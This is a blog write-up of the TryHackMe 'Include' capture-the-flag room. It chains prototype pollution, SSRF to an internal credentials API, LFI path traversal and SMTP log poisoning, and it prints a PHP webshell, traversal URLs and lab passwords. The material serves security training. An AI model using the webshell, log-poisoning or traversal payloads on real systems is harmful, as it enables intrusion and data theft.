Skip to main content
  1. CTF write-ups/

TryHackMe: Include

·1825 words·9 mins
Liam Smydo
Author
Liam Smydo
Hi, I’m Liam. This site contains my various cybersecurity projects, CTF write-ups, and labs, including detailed technical write-ups and different resources I find useful.
Table of Contents

Difficulty: Medium

Key Skills: SSRF, Prototype Pollution, LFI, Log Poisoning.

Platform: TryHackMe

Challenge: https://tryhackme.com/room/include


Overview
#

This challenge is an initial test to evaluate your capabilities in web pentesting, particularly for server-side attacks

“Even if it’s not accessible from the browser, can you still find a way to capture the flags and sneak into the secret admin panel?”


Reconnaissance
#

Port Scanning
#

The first order of business is always mapping the attack surface. I used RustScan to enumerate open ports and services on the target.

                                                                                                                                                                                        
┌──(parallels㉿Kali)-[~/targets/include]
└─$ rustscan -a 10.82.169.151 -- -A -oN scan.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨

[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.82.169.151:22
Open 10.82.169.151:25
Open 10.82.169.151:110
Open 10.82.169.151:143
Open 10.82.169.151:993
Open 10.82.169.151:995
Open 10.82.169.151:4000
Open 10.82.169.151:50000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -oN scan.txt" on ip 10.82.169.151
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-10 12:00 -0500

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)

25/tcp    open  smtp     syn-ack ttl 62 Postfix smtpd
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal


110/tcp   open  pop3     syn-ack ttl 62 Dovecot pop3d
|_pop3-capabilities: TOP SASL AUTH-RESP-CODE CAPA STLS PIPELINING UIDL RESP-CODES
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal


143/tcp   open  imap     syn-ack ttl 62 Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more ENABLE post-login have capabilities IDLE LOGIN-REFERRALS listed IMAP4rev1 Pre-login OK LOGINDISABLEDA0001 SASL-IR ID LITERAL+ STARTTLS
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal


993/tcp   open  ssl/imap syn-ack ttl 62 Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
|_imap-capabilities: more ENABLE post-login have capabilities IDLE AUTH=PLAIN listed IMAP4rev1 Pre-login OK SASL-IR AUTH=LOGINA0001 LOGIN-REFERRALS ID LITERAL+

995/tcp   open  ssl/pop3 syn-ack ttl 62 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Issuer: commonName=ip-10-10-31-82.eu-west-1.compute.internal
|_pop3-capabilities: TOP SASL(PLAIN LOGIN) USER CAPA AUTH-RESP-CODE PIPELINING UIDL RESP-CODES

4000/tcp  open  http     syn-ack ttl 62 Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Sign In

50000/tcp open  http     syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: System Monitoring Portal

Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

This is quite a spread. The key takeaways from the scan:

  • Mail infrastructure on ports 25 (SMTP), 110 (POP3), 143 (IMAP), and their SSL counterparts. The hostname mail.filepath.lab confirms this is a mail server. This will become very relevant later.
  • Two HTTP servers: a Node.js/Express app on port 4000 and an Apache/PHP app on port 50000.
  • SSH on port 22, which could be useful once we have credentials.

With two web applications to explore, I started with the Apache server on port 50000.


Enumerating The SysMon App
#

Navigating to port 50000 in the browser revealed a Sysmon site with a restricted login page.

image.png

Clicking “Login” brought up a standard PHP login form.

image.png

I tried the obvious admin:admin no luck. Without valid credentials, I moved on to directory enumeration.

Directory Bruteforcing
#

I ran dirsearch against port 50000 to discover hidden paths and files.

image.png

The key findings here were:

  • /uploads/ - a directory that could indicate file upload functionality
  • /templates/ - possibly template files used by the application
  • api.php - an API endpoint worth investigating later

With the SysMon app locked behind authentication and no obvious way in yet, I pivoted to the second web server on port 4000.


Enumerating The Review App
#

Running dirsearch against port 4000, looks like its just a simple page with a login form.

image.png

Visiting the application in a browser, I was greeted with a login form that helpfully suggests default credentials: guest/guest.

image.png

Logging in with guest:guest dropped me into a basic user dashboard.

image.png


Exploitation: Prototype Pollution to Admin
#

Discovering the Profile Update Mechanism
#

Clicking “View Profile” on the guest account revealed an interesting feature. A form that lets you submit data as key/value pairs under “Friend Details” and “Recommended Activity.”

image.png

I tested this with dummy data (asd, asd) and observed how the application stored it.

image.png

Looking at the profile structure, I noticed a field called isAdmin set to false. If the application uses a merge or assign operation to update user profiles, it might be vulnerable to prototype pollution, which is a technique where you inject properties into an object by exploiting how JavaScript handles property assignment.

Escalating to Admin
#

My first attempt was to type isAdmin: true directly into the “Recommended Activity” text box.

image.png

After submitting, the result wasn’t what I wanted, it was stored as a nested key isAdmin: true: "" rather than updating the actual isAdmin property.

image.png

The fix was simple: treat the two input fields as a key/value pair. I put isAdmin in the first box (activity type) and true in the second box (activity value).

image.png

After clicking “Recommend Activity,” the isAdmin property was successfully overwritten to true.

image.png

Immediately, a new “API” menu item appeared in the navigation bar, which confirmied the privilege escalation worked.

image.png


SSRF to Credential Extraction
#

The API Dashboard
#

Clicking the new “API” link navigated to /admin/api, revealing an API documentation dashboard.

image.png

The dashboard documented two internal API endpoints:

Internal API:

GET http://127.0.0.1:5000/internal-api HTTP/1.1
Host: 127.0.0.1:5000

Response:
{
  "secretKey": "superSecretKey123",
  "confidentialInfo": "This is very confidential."
}

Get Admins API:

GET http://127.0.0.1:5000/getAllAdmins101099991 HTTP/1.1
Host: 127.0.0.1:5000

Response:
{
    "ReviewAppUsername": "admin",
    "ReviewAppPassword": "xxxxxx",
    "SysMonAppUsername": "administrator",
    "SysMonAppPassword": "xxxxxxxxx",
}

Both endpoints are bound to 127.0.0.1:5000 meaning they’re only accessible from the server itself, This is a classic setup for Server-Side Request Forgery (SSRF).

The Settings Page
#

The admin escalation also revealed a Settings page with a URL fetch feature essentially letting us make HTTP requests from the server.

image.png

This is the SSRF vector. I pointed it at the internal admin credentials endpoint:

http://127.0.0.1:5000/getAllAdmins101099991

image.png

The server returned a Base64-encoded response.

image.png

Decoding the Credentials
#

I dropped the Base64 string into CyberChef to decode it.

image.png

The decoded JSON contained credentials for both applications:

{
  "ReviewAppUsername": "admin",
  "ReviewAppPassword": "admin@!!!",
  "SysMonAppUsername": "administrator",
  "SysMonAppPassword": "S$9$qk6d#**LQU"
}

Flag 1: SysMon App Login
#

With the SysMon credentials in hand (administrator / S$9$qk6d#**LQU), I logged into the System Monitoring Portal on port 50000.

image.png

Flag 1 captured! This answered the challenge question: “What is the flag value after logging in to the SysMon app?”


Working Toward Flag 2
#

The second flag required finding “the content of the hidden text file in /var/www/html” which meant I needed RCE on the server to print the directories contents.

Testing Review App Admin Credentials
#

I first tried the Review App admin credentials (admin / admin@!!!) against the SysMon login, but they didn’t work there.

image.png

Discovering the LFI Vector
#

Back on the SysMon dashboard, I noticed the administrator’s profile picture was loaded as an actual image file. Right clicking and opening it in a new tab revealed the URL pattern:

/profile.php?img=<filename>

image.png

The img parameter is a classic LFI entry point, if the application doesn’t properly sanitize this input, we can use path traversal to read arbitrary files on the server.

Fuzzing for LFI Payloads
#

To confirm the vulnerability and find a working bypass for any filters in place, I used Caido to fuzz the img parameter with a well known LFI wordlist.

I captured the request, sent it to Caido’s Automate feature, highlighted the img parameter value as the injection point, and loaded the wordlist:

/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt

image.png

Sorting results by response length quickly revealed multiple successful payloads that bypassed the application’s path traversal filtering.

image.png

LFI confirmed, but reading files alone won’t give us the flag filename. We need RCE.


Exploitation: SMTP Log Poisoning to RCE
#

note: The tryhackme connection dropped which is why you might notice the change of IP

With confirmed LFI and a mail server (SMTP on port 25) running on the same box, the attack path was crystal clear: SMTP log poisoning.

The idea is straightforward:

  1. Send an email via SMTP with a PHP webshell injected into the MAIL FROM field
  2. The mail server logs this address to /var/log/mail.log
  3. Use the LFI vulnerability to include the poisoned log file
  4. The PHP code in the log gets executed by the server

Injecting the Payload
#

I connected to the SMTP server and sent a crafted email with a PHP webshell in the MAIL FROM header:

mail from: <?php system($_GET['cmd']);?>

image.png

Confirming RCE
#

With the payload planted in the mail log, I crafted a URL combining the LFI traversal payload with a command parameter:

http://10.80.153.226:50000/profile.php?img=...%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F/var/log/mail.log&cmd=id

The server responded with the output of the id command. RCE achieved!

image.png


Flag 2: Reading the Hidden File
#

Now it was just a matter of finding and reading the hidden file. First, I listed the contents of /var/www/html:

http://10.80.153.226:50000/profile.php?img=...%2F%2F....%2F%2F....%2F%2F...%2F%2F/var/log/mail.log&cmd=ls /var/www/html

image.png

This revealed a file with a hashed name: 505eb0fb8a9f32853b4d955e1f9123ea.txt. I read it with cat:

http://10.80.153.226:50000/profile.php?img=...%2F%2F....%2F%2F....%2F%2F...%2F%2F/var/log/mail.log&cmd=cat%20/var/www/html/505eb0fb8a9f32853b4d955e1f9123ea.txt

image.png

Flag 2 captured!


Key Takeaways
#

  1. Prototype Pollution is underrated. The ability to overwrite object properties by manipulating key/values is a very powerful attack vector in Node.js applications. Always look for forms or APIs that accept arbitrary key/value data and merge it into existing objects.

  2. SSRF unlocks internal services. APIs bound to 127.0.0.1 are invisible to external scanners, but if the application offers any kind of URL fetching or proxy feature, those internal endpoints become reachable.

  3. LFI + Log Poisoning = RCE. When you find LFI but can’t upload files directly, check for writable log files. Mail logs, Apache access logs, and SSH auth logs are all common targets.

  4. Enumerate everything. This challenge required chaining four distinct vulnerabilities across two different web applications and a mail server. No single finding would have been enough, success came from thoroughly mapping the attack surface and connecting the dots.

  5. Don’t overlook default credentials. The guest:guest login on the Review App was the initial foothold that made everything else possible. Always try common default credentials before moving on to more complex attacks.


Challenge complete.